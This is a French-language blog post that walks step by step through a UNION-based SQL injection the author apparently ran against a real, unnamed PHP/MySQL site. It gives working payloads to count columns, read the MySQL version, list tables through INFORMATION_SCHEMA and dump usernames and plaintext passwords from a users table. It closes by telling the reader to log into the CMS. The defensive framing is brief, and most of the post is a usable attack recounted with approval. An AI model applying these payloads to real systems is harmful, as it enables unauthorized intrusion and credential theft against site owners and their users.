Je parle rarement de MySQL car je n'ai jamais eu l'opportunité de travailler avec ce système de base de données dans un environnement professionnel. Cependant, comme la sécurité des sites me tient à coeur, il est toujours bon d'en savoir un minimum pour éviter les dégâts. Et comprendre les techniques d'injection permet généralement de mieux protéger notre code contre les attaques.
Et certains ne l'ont vraisemblablement pas compris. Voici la démarche que j'ai utilisé pour extraire d'un site PHP / MySQL, la liste des noms d'usagers et les mots de passe pour se connecter à l'interface de gestion (Content Management System).
D'abord, trois choses :
- le site en question ne vérifiait pas les types des paramètres reçus
- le site affichait explicitement les messages d'erreurs provenant de la base de données
- les mots de passe n'étaient pas encryptés
Le truc le plus facile pour voir si un paramètre n'est pas validé est de modifier sa valeur directement par le query string. Prenons une page au hasard. Celle-ci devrait normalement retourner un seul enregistrement à l'intérieur d'un recordset :
page.php?id=102
Le système s'attend à ce que ça soit un champ de type integer. Si on altère le type :
page.php?id=102'
Il est possible que ça provoque une erreur :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''102''' at line 1
Excellent. Non seulement les messages d'erreurs sont affichés mais on voit aussi que c'est MySQL.
En SQL, on sait qu'on peut utiliser UNION ALL pour joindre deux requêtes SQL sous un même jeu de résultats. L'idée est de générer un enregistrement supplémentaire bidon qui comprendra le même nombre de champs que l'enregistrement original (le nouvel enregistrement utilisera les mêmes noms ou alias que ceux nommés dans le SELECT initial). Commençons par ceci :
id=102' UNION ALL SELECT 1/*
Un message d'erreur indique :
The used SELECT statements have a different number of columns.
Ajoutons d'autres champs un par un jusqu'à ce qu'on puisse deviner le nombre exact.
id=102' UNION ALL SELECT 1, 2/*
id=102' UNION ALL SELECT 1, 2, 3/*
...
id=102' UNION ALL SELECT 1, 2, 3, 4, 5/*
Avec cette dernière requête, le message n'apparaît plus. C'est donc dire que nous avons réussi à créer un enregistrement valide. Notre recordset retourne 2 enregistrements plutôt qu'un. Essayons de faire afficher le second en utilisant la clause LIMIT et l'offset :
id=102' UNION ALL SELECT 1,2,3,4,5 LIMIT 1,2/*
Dans la page PHP, il devrait normalement y avoir un champ qui affiche un des chiffres que nous avons inscrit (de 1 à 5). C'est par ce champ que nous allons faire sortir les données (dans mon cas, c'est par le champ "2").
On sait que le site utilise MySQL. Mais quelle version ? Je vais en faire la demande par la fonction système version() que j'invoquerai à la place du deuxième champ :
id=102' UNION ALL SELECT 1,version(),3,4,5 LIMIT 1,2/*
Oups, une erreur :
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
Il suffit de le convertir :
id=102' UNION ALL SELECT 1, CONVERT(version() using latin1),3,4,5 LIMIT 1,2/*
5.0.18 apparaît dans la page. Ce qui nous permet de savoir quelles fonctionnalités sont disponibles et quelles vulnérabilités sont présentes pour cette version.
Je suis maintenant en mesure de faire sortir n'importe quelle donnée par le deuxième enregistrement. On sait par la documentation qu'on peut utiliser INFORMATION_SCHEMA pour trouver le nom de toutes les tables d'une base de données :
id=102' UNION ALL SELECT 1, CONVERT(table_name using latin1),3,4,5 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,2/*
En modifiant le LIMIT 1,2 par LIMIT 2,2 ou LIMIT 3,2, etc, je verrai apparaître le nom de chaque table successivement. Il faut savoir que les tables systèmes apparaîtront en premier et que ce n'est que vers la 15ème ou 16ème que les tables utilisateurs feront leur apparition. Oh, comme par hasard, on voit passer une table users !
Je répète le même genre de processus (avec LIMIT) pour extraire le nom de chaque colonne de la table users :
id=102' UNION ALL SELECT 1, CONVERT(column_name using latin1),3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name = 'users' LIMIT 1,1/*
id, username, password.
Cool :-)
Enfin, je veux voir les données de cette table :
id=102' UNION ALL SELECT 1, CONVERT(username using latin1),3,4,5 FROM users LIMIT 1,1/*
id=102' UNION ALL SELECT 1, CONVERT(password using latin1),3,4,5 FROM users LIMIT 1,1/*
Une fois en possession d'une combinaison username / password, ça peut être un bon réflexe de visionner le fichier robots.txt. Parfois, les noms de certains répertoires à exclure des moteurs de recherche y figurent. Dans mon cas, celui correspondant au CMS y était.
Accédez à la page d'authentification et connectez-vous. Voilà, vous avez introduit le système.